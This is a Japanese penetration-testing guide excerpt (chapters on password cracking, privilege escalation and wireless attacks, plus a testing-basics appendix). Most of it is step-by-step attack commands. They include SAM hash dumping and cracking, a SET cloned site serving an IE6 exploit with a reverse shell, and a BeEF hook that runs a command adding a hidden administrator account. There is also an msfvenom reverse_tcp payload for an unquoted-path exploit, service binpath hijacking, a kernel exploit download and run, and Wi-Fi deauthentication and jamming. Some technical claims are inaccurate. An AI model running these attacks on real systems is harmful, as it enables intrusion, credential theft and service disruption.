第8章:システム認証突破とパスワード解析
本章では以下のトピックを扱います:
- ローカルパスワード攻撃ツールの活用
- ハッシュ値の解析手法
- ソーシャルエンジニアリングツールキット
- BeEFによるブラウザ侵害
- レインボーテーブルによるNTLMハッシュ解析
概要
本章ではハッシュ値の取得と解析によるシステムアクセス権限の取得に焦点を当てます。同一ネットワーク内で同一パスワードが使用されている可能性が高いため、この情報は非常に有効です。具体的な手法を見ていきましょう。
ローカルパスワード攻撃ツールの活用
本節ではWindowsおよびLinux環境でパスワード推測攻撃を実行するツールを紹介します。Linux環境ではsucrackを、Windows環境ではfgdumpとpwdumpを使用します。Sucrackはsuコマンド経由のパスワード解析ツールで、マルチスレッド動作が特徴です。FgdumpとpwdumpはLSASSメモリからSAMハッシュを抽出するツールです。
事前準備
デモンストレーションのため、Windows XPマシンとKali Linux環境が必要です。また、PwDump.exeとFgDump.exeをKali LinuxからWindows XPに転送する必要があります。
実行手順
- デモ用にパスワードを"987654321"に変更しました。以下のコマンドでsucrack攻撃を開始します:
sucrack -a -w 8 -s 2 -u root /usr/share/wordlists/rockyou.txt
実行結果は以下のようになります:
[+] Statistics:
passwords tried: 1000
passwords/sec: 25.5
threads active: 8
[+] Password found: 987654321
-
他のユーザーに対しても同様の操作を実行できます。
-uパラメータに対象ユーザー名を指定します。 -
Windows環境での実行方法を見ていきましょう。wce.exe、PwDump.exe、fgdump.exeのバイナリはKali Linuxの
/usr/share/windows-binaries/にあります。これらをWindowsマシンに転送します。
ターミナルで以下のコマンドを実行:
PWDump.exe -o hash_dump 127.0.0.1
出力は以下のようになります:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
- fgdumpの動作を確認します。fgdumpはpwdumpの改良版で、パスワード履歴の表示機能が追加されています:
fgdump.exe
実行後、3つのファイルが生成されます:2つのpwdumpファイルとcache-dumpファイル。
動作原理
使用したコマンドの詳細:
sucrack -a -w 8 -s 2 -u root /usr/share/wordlists/rockyou.txt
-a: ANSIエスケープコードで統計情報を整形表示-w: 動作スレッド数-s: 統計表示間隔(秒)-u: 対象ユーザーアカウント
Pwdump.exe -o hash_dump 127.0.0.1
-o: 出力ファイル指定127.0.0.1: 対象マシンのIPアドレス
パスワードハッシュの解析
この節ではプレーンテキストパスワードのハッシュを解析する手法を説明します。John the Ripper(JTR)を使用します。JTRは高速なパスワード解析ツールで、Unix、Windows、DOS、OpenVMSなど多数のプラットフォームで動作します。
事前準備
Windowsマシンで取得したハッシュをKaliマシンに転送します。
実行手順
- JTRを起動します。取得したハッシュファイルを
target_hashにリネーム:
john target_hash
出力例:
Loaded 3 password hashes with no different salts (NTLM [MD4 128/128 AVX 4x3])
Warning: no hashes loaded for NTLMv1
Press 'q' or Ctrl-C to abort, almost any other key for status
admin (Administrator)
test123 (user1)
- NTLMハッシュは7文字ごとに分割されて処理されるため、長いパスワードは複数の部分に分かれて表示されます。
動作原理
john target_hash
JTRは自動的にハッシュタイプを検出し、適切な解析手法を適用します。
ソーシャルエンジニアリングツールキット
ソーシャルエンジニアリングツールキット(SET)は、人間の心理的弱点を突くことに特化したツールです。David Kennedy氏によって開発され、コミュニティの協力により多くの攻撃モジュールが統合されています。
事前準備
Windows OS(Internet Explorer 6)とKali Linuxマシンを使用します。SETはKaliに標準でインストールされています。
実行手順
- SETを起動:
setoolkit
-
「ソーシャルエンジニアリング攻撃」を選択(选项1)
-
「Webサイト攻撃ベクトル」を選択(选项2)
-
「Metasploitブラウザ侵害手法」を選択(选项2)
-
Webサイトクローン設定:
set:webattack> 2
set:webattack> NAT/ポート転送を使用しますか [yes|no]: yes
set:webattack> SET WebサーバーのIPアドレス: 192.168.1.100
set:webattack> クローンするURLを入力: http://target-site.com
-
「Internet Explorer 6のAuroraメモリ破損脆弱性」を選択し、Metasploit Windows Shell Reverse_TCPを設定。
-
設定完了後、被害者に悪意のあるサイトへアクセスさせます。
-
成功するとリバースシェルが取得できます:
meterpreter > ipconfig
Ethernet adapter Local Area Connection:
IP Address. . . . . . . . . . . . : 192.168.1.50
BeEFによるブラウザ侵害
BeEF(Browser Exploitation Framework)はブラウザと関連する脆弱性に特化したペネトレーションテストツールです。クライアントサイドの脅威が増加している現代で、BeEFはブラウザベースの攻撃ベクトルを活用したテストを可能にします。
事前準備
BeEFはKali Linuxに標準でインストールされています。Windowsマシン(Firefox)をターゲットとします。
実行手順
- BeEFを起動:
cd /usr/share/beef
./beef
-
KaliのFirefoxでUIパネルにアクセス(http://127.0.0.1:3000/ui/panel)、認証情報は
beef:beef -
ターゲットブラウザをフックさせるために、以下のURLへアクセスさせます: http://:3000/hook.js
-
BeEFパネルに接続されたブラウザが表示されます。
-
コマンドタブで「Create Alert Dialogue」を選択し、アラートダイアログを表示させます。
-
権限昇格のため、「ActiveX Command Execution」モジュールを使用:
cmd.exe /c "net user beef beefpass /add & net localgroup Administrators beef /add & net localgroup \"Remote Desktop Users\" beef /add"
- rdesktopでリモート接続:
rdesktop -u beef -p beefpass 192.168.1.50
動作原理
BeEFはJavaScriptフック(hook.js)を使用してブラウザ制御を取得します。XSS脆弱性などを通じてフックを注入し、各種コマンドモジュールを実行可能です。
レインボーテーブルによるNTLMハッシュ解析
この演習ではOphcrackと小規模なレインボーテーブルを使用します。Ophcrackはレインボーテーブルベースの無料Windowsパスワード解析ツールです。
事前準備
Windows XPのパスワードを解析します。レインボーテーブル(tables_xp_free_fast)を公式サイトからダウンロードします。
実行手順
- テーブルを展開:
unzip tables_xp_free_fast.zip
- Ophcrackを起動:
ophcrack
-
「Tables」で「XP free fast」テーブルをインストールし、ハッシュファイルをロード
-
「Crack」ボタンで解析開始
-
成功するとパスワードが平文で表示されます:
Administrator: 987654321
Guest: (empty)
動作原理
OphcrackはNT/LMハッシュをレインボーテーブルと照合し、一致する場合は対応する平文を返します。
第9章:特権昇格と権限拡張
本章では以下のトピックを扱います:
- WMICによる特権昇格脆弱性の特定
- 機密情報収集技法
- 引用符なしサービスパスの悪用
- サービス権限設定の不備
- 誤設定されたソフトウェア/脆弱なファイル権限
- Linux環境での特権昇格
概要
前章ではサービスの侵害と低権限ユーザーでのサーバーアクセス方法を説明しました。本章では低権限ユーザーから管理者やシステム権限への昇格手法を説明します。WindowsとLinuxの両環境での昇格テクニックをカバーします。
WMICによる特権昇格脆弱性の特定
この節ではWMICを使用して権限昇格の可能性を特定する方法を説明します。WMICはWindows Management Instrumentationを拡張し、コマンドラインからシステム操作を可能にします。
事前準備
Windows 7マシン(2コア以上)が必要です。
実行手順
- コマンドプロンプトで以下のクエリを実行:
wmic qfe get Caption,Description,HotFixID,InstalledOn
出力例:
Caption Description HotFixID InstalledOn
Security Update for... Update KB123456 12/15/2015
-
最終更新日と公開されている脆弱性を比較し、未適用のパッチを特定
-
MS16-032脆弱性の確認:
wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr "KB3139914" -
脆弱性が確認された場合、以下のPowerShellスクリプトを実行:
. ./Invoke-MS16-032.ps1 Invoke-MS16-032 -
成功するとシステム権限のシェルが取得できます。
動作原理
wmic qfeコマンドはインストールされている修正プログラムの情報を取得します。未適用の脆弱性を特定し、対応するエクスプロイトを実行することで権限昇格を実現します。
機密情報収集
システム管理者は自動化スクリプト内にパスワード等の機密情報を残すことがあります。これらの情報はPTH(Pass-the-Hash)攻撃に利用可能です。
実行手順
-
特定キーワードを含むファイルを検索:
dir /s *pass* == *cred* == *vnc* == *.config* -
ファイル内のパスワード文字列を検索:
findstr /si password *.xml *.ini *.txt -
レジストリ内のパスワードを検索:
reg query HKLM /f password /t REG_SZ /s reg query HKCU /f password /t REG_SZ /s -
未処理の設定ファイルを確認:
c:\sysprep.inf c:\sysprep\sysprep.xml %WINDIR%\Panther\Unattend\Unattended.xml
引用符なしサービスパスの悪用
サービスのバイナリパスが引用符で囲まれていない場合、権限昇格の可能性があります。
事前準備
MetasploitとFoxit Reader 7.0.6.1126(脆弱なバージョン)が必要です。
実行手順
-
サービス設定を確認:
sc qc FoxitCloudUpdateService -
パスが引用符で囲まれていないことを確認
-
悪意のある実行ファイルを作成:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe > Program.exe -
Metasploitハンドラーを起動:
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 192.168.1.100 set lport 4444 exploit -
C:\Program.exeとして配置し、システムを再起動
-
成功すると管理者権限のMeterpreterセッションが確立されます。
動作原理
Windowsはパスにスペースが含まれ引用符がない場合、最初の単語を別の実行ファイルとして解釈します。この動作を悪用して権限昇格を実現します。
サービス権限設定の不備
この節では権限設定が不適切なサービスを悪用した特権昇格手法を説明します。
事前準備
Windows XPマシンとAccessChkツール(Windows Sysinternals)が必要です。
実行手順
-
一般ユーザー権限でログインし、以下のコマンドを実行:
accesschk.exe /accepteula -uwcqv "Authenticated Users" * -
権限が弱いサービス(例:upnphost)を特定
-
サービス設定を確認:
sc qc upnphost -
サービスのバイナリパスを変更:
sc config upnphost binpath= "net user attacker pass@123 /add" sc config upnphost obj= ".\LocalSystem" password= "" -
サービスを再起動:
net stop upnphost net start upnphost -
ユーザーが作成されたことを確認:
net user attacker -
管理者権限を付与:
sc config upnphost binpath= "net localgroup administrators attacker /add" net stop upnphost net start upnphost
動作原理
一般ユーザーにサービスの完全な制御権限が付与されている場合、サービスのバイナリパスを任意のコマンドに変更できます。サービスがシステム権限で実行されるため、そのコマンドもシステム権限で実行されます。
Linux環境での特権昇格
Stapler脆弱OSを使用したLinux特権昇格手法を説明します。
事前準備
Stapler OS(vulnhub.comで配布)と低権限シェルアクセスが必要です。
実行手順
-
システム情報を取得:
uname -a cat /etc/lsb-release -
Ubuntu 16.04カーネル脆弱性(CVE-2016-0728)を特定
-
エクスプロイトをダウンロード:
wget https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39772.zip unzip 39772.zip cd 39772 tar xf exploit.tar -
コンパイルと実行:
cd ebpf_mapfd_doubleput_exploit/ ./compile.sh ./doubleput -
成功するとroot権限が取得されます:
# id uid=0(root) gid=0(root) groups=0(root)
動作原理
カーネルバージョンとOS情報から既知の脆弱性を特定し、対応するエクスプロイトをコンパイル・実行することで特権昇格を実現します。
第10章:無線ネットワーク侵害
本章では以下のトピックを扱います:
- 無線環境の構築
- MACアドレスフィルタリングの回避
- ネットワークトラフィックのスニッフィング
- WEP暗号の解読
- WPA/WPA2暗号の解読
- WPSの脆弱性悪用
- サービス拒否攻撃
概要
無線ネットワークは急速に普及していますが、セキュリティプロトコルには課題が残されています。本章では無線ネットワークの各種脆弱性と攻撃手法を説明します。
無線環境の構築
無線テストの成功には適切な環境構築が不可欠です。互換性のある無線アダプターの選択が重要です。
互換性のあるアダプター例
- Atheros AR9271
- Ralink RT3070
- Ralink RT3572
- Realtek 8187L
実行手順
-
VM設定でUSB自動接続を有効化
-
アダプターを認識確認:
ifconfig wlan0 -
モニターモードを有効化:
airmon-ng start wlan0 -
競合プロセスを停止:
airmon-ng stop wlan0mon kill <PID> -
再度モニターモードを開始
MACアドレスフィルタリングの回避
MACアドレス認証は容易に回避可能です。
実行手順
-
現在のMACアドレスを確認:
ifconfig wlan0 -
インターフェースを無効化:
ifconfig wlan0 down -
MACアドレスを変更:
macchanger -m 00:11:22:33:44:55 wlan0 -
またはランダムMACを設定:
macchanger -r wlan0 -
インターフェースを有効化:
ifconfig wlan0 up
ネットワークトラフィックのスニッフィング
airodump-ngを使用した無線パケットキャプチャ手法を説明します。
実行手順
-
モニターモードを有効化:
airmon-ng start wlan0 -
全ネットワークをスキャン:
airodump-ng wlan0mon -
特定ESSIDをキャプチャ:
airodump-ng wlan0mon --channel 6 -w capture_file -
Ctrl+Cで停止し、.capファイルが生成されます
WEP暗号の解読
WEPは脆弱性があり、容易に解読可能です。
実行手順
-
Wifiteを更新:
wifite -upgrade -
ネットワークを一覧表示:
wifite -showb -
Wifiteを起動:
wifite -
Ctrl+Cで中断し、対象ネットワーク番号を入力
-
自動的にWEP解析が実行されます
動作原理
WEPは24ビットの初期化ベクトル(IV)を使用し、IVの再利用により脆弱性が存在します。十分なIVを収集することでキーを復元可能です。
WPA/WPA2暗号の解読
WPA2-PSKは認証ハンドシェイクをキャプチャし、辞書攻撃を実行します。
実行手順
-
モニターモードで対象ネットワークをキャプチャ:
airodump-ng --bssid 00:11:22:33:44:55 -c 6 --write wpa_capture wlan0mon -
クライアントを脱認証:
aireplay-ng --deauth 5 -a 00:11:22:33:44:55 wlan0mon -
WPAハンドシェイクを確認
-
辞書攻撃を実行:
aircrack-ng wpa_capture-01.cap -w /usr/share/wordlists/rockyou.txt
動作原理
WPA2の4-wayハンドシェイクにはPSKが含まれており、これをキャプチャして辞書攻撃を試行します。
WPSの脆弱性悪用
WPSはPINコードの脆弱性により攻撃可能です。
実行手順
-
WPS対応APをスキャン:
wash -i wlan0mon -
Reaverで攻撃:
reaver -i wlan0mon -c 6 -b 00:11:22:33:44:55 -K 1 -vv -
Pixie Dust攻撃でPINを特定
動作原理
WPSは8桁のPINを使用し、最初の4桁を推測すれば後の4桁も容易に推測可能です。Pixie Dust攻撃はオフラインでPINを特定します。
サービス拒否攻撃
無線ネットワークへのDoS攻撃手法を説明します。
実行手順
-
脱認証攻撃:
aireplay-ng --deauth 0 -a 00:11:22:33:44:55 wlan0mon -
Websploitを使用:
websploit use wifi/wifi_jammer set bssid 00:11:22:33:44:55 set interface wlan0mon run
動作原理
継続的な脱認証パケット送信により、正当なユーザーの接続を妨害します。
付録A:ペネトレーションテスト基礎
本章では以下のトピックを扱います:
- ペネトレーションテストの定義
- 脆弱性評価との違い
- テストの種類と目的
- 実施プロセス
ペネトレーションテストの定義
ペネトレーションテストは、攻撃者の視点からシステムのセキュリティ脆弱性を特定・評価する活動です。実際の攻撃と同様の手法を使用し、システム保護の妥当性を検証します。
脆弱性評価との違い
ペネトレーションテストは脆弱性の悪用まで実行するのに対し、脆弱性評価は脆弱性の特定に留まります。主な違い:
| 項目 | 脆弱性評価 | ペネトレーションテスト |
|---|---|---|
| 自動化 | 高い | 一部可能 |
| 時間 | 短い | 長い |
| 誤報 | 発生する | 排除する |
| 深さ | 表面的 | 徹底的 |
テストの種類
- ブラックボックス: 内部情報なしで実行
- ホワイトボックス: 全情報提供で実行
- グレーボックス: 一部情報提供で実行
実施プロセス
- 要件収集
- 計画策定
- 情報収集
- 脆弱性特定
- 権限昇格試行
- レポート作成
- 再テスト
レポートには以下を含める必要があります:
- 発見された脆弱性の一覧
- 脆弱性の詳細と影響度
- 修正提案
- リスク評価結果
ペネトレーションテストは定期的な実施が推奨されます。新たな脅威や脆弱性に対応するため、継続的なセキュリティ評価が重要です。